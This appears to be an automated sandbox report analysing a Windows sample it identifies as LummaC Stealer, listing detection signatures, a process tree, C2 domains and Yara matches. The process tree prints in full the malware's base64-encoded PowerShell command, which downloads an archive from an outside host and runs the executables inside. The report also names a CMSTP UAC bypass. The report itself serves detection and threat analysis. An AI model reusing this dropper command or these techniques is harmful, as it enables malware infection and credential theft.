Edit tour

Windows Analysis Report
b6FArHy7yA.exe

Overview

General Information

Sample name:	b6FArHy7yA.exe renamed because original name is a hash value
Original sample name:	ae194517d632d9e0644984547d2f6f86c563350eccc501e97b1452a4f4bc089b.exe
Analysis ID:	1569162
MD5:	646e2bff8d4d8ad6689f9edbc3f7fd27
SHA1:	96b6ee40793ee39b380433b5b4116e4c4211d3eb
SHA256:	ae194517d632d9e0644984547d2f6f86c563350eccc501e97b1452a4f4bc089b
Tags:	exelummauser-adrian__luca
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected LummaC Stealer

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to register a low level keyboard hook

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Powershell drops PE file

Query firmware table information (likely to detect VMs)

Sigma detected: Net WebClient Casing Anomalies

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Parameter Substring

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to evade analysis by execution special instruction (VM detection)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

b6FArHy7yA.exe (PID: 6936 cmdline: "C:\Users\user\Desktop\b6FArHy7yA.exe" MD5: 646E2BFF8D4D8AD6689F9EDBC3F7FD27)

powershell.exe (PID: 2444 cmdline: powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAEwAZQBuAGcAdABoACkACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgBTAGUAZQBrACgAMAAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBlAGcAaQBuACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBHAHUAaQBkAF0AOgA6AE4AZQB3AEcAdQBpAGQAKAApAC4AVABvAFMAdAByAGkAbgBnACgAKQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEMAbwBtAGIAaQBuAGUAKAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEALAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgApAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEMAbwBtAGIAaQBuAGUAKAAkAGUAbgB2ADoAVABFAE0AUAAsACAAIgAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgB6AGkAcAAiACkACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAsACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFQAbwBBAHIAcgBhAHkAKAApACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgApAAoACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4AQwBvAHAAeQBIAGUAcgBlACgAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ASQB0AGUAbQBzACgAKQAsACAAMgAwACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAALQBGAGkAbAB0AGUAcgAgACoALgBlAHgAZQAgAC0AUgBlAGMAdQByAHMAZQAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAGkAbgAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAEYAdQBsAGwATgBhAG0AZQAgAC0ATgBvAE4AZQB3AFcAaQBuAGQAbwB3ACAALQBXAGEAaQB0AAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAKAH0ACgAKACYAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD4AIAAkAG4AdQBsAGwAIAAyAD4AJgAxAAoA MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ImApp.exe (PID: 6068 cmdline: "C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe" MD5: 312707A513F86ED20642F43F8EF4DD14)

ImApp.exe (PID: 5984 cmdline: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe MD5: 312707A513F86ED20642F43F8EF4DD14)

more.com (PID: 4020 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 3780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 7088 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

ImApp.exe (PID: 6708 cmdline: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe MD5: 312707A513F86ED20642F43F8EF4DD14)

ImApp.exe (PID: 1424 cmdline: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe MD5: 312707A513F86ED20642F43F8EF4DD14)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["story-tense-faz.sbs", "disobey-curly.sbs", "frogs-severz.sbs", "motion-treesz.sbs", "occupy-blushi.sbs", "blade-govern.sbs", "leg-sate-boat.sbs", "powerful-avoids.sbs"], "Build id": "Lb9dkQ--Puaro"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.3752141848.000000000A730000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000007.00000002.3545059158.000000000AEF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000C.00000002.4150734794.000000000A74E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.2776572796.00000000021C0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4da40:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x50fd6:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000D.00000002.4563869306.00000000050D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000009.00000002.3822071169.0000000004AF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000B.00000002.3972015789.000000000A5E8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: b6FArHy7yA.exe PID: 6936	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b6FArHy7yA.exe PID: 6936	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: b6FArHy7yA.exe PID: 6936	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2444	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x33d3f:$b1: ::WriteAllBytes( 0x14a351:$b1: ::WriteAllBytes( 0x6f77a:$s1: -join 0x7c84f:$s1: -join 0x7fc21:$s1: -join 0x802d3:$s1: -join 0x81dc4:$s1: -join 0x83fca:$s1: -join 0x847f1:$s1: -join 0x85061:$s1: -join 0x8579c:$s1: -join 0x857ce:$s1: -join 0x85816:$s1: -join 0x85835:$s1: -join 0x86085:$s1: -join 0x86201:$s1: -join 0x86279:$s1: -join 0x8630c:$s1: -join 0x86572:$s1: -join 0x88708:$s1: -join 0x97152:$s1: -join
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.more.com.4b3fbe1.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
9.2.more.com.4b3fbe1.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1ddbd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1e049:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1de48:$s1: CoGetObject 0x1e0d4:$s1: CoGetObject 0x1dda1:$s2: Elevation:Administrator!new: 0x1e02d:$s2: Elevation:Administrator!new:
11.2.ImApp.exe.a633a58.10.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.ImApp.exe.a633a58.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1ddbd:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1e049:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1de48:$s1: CoGetObject 0x1e0d4:$s1: CoGetObject 0x1dda1:$s2: Elevation:Administrator!new: 0x1e02d:$s2: Elevation:Administrator!new:
8.2.ImApp.exe.a77ba58.10.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
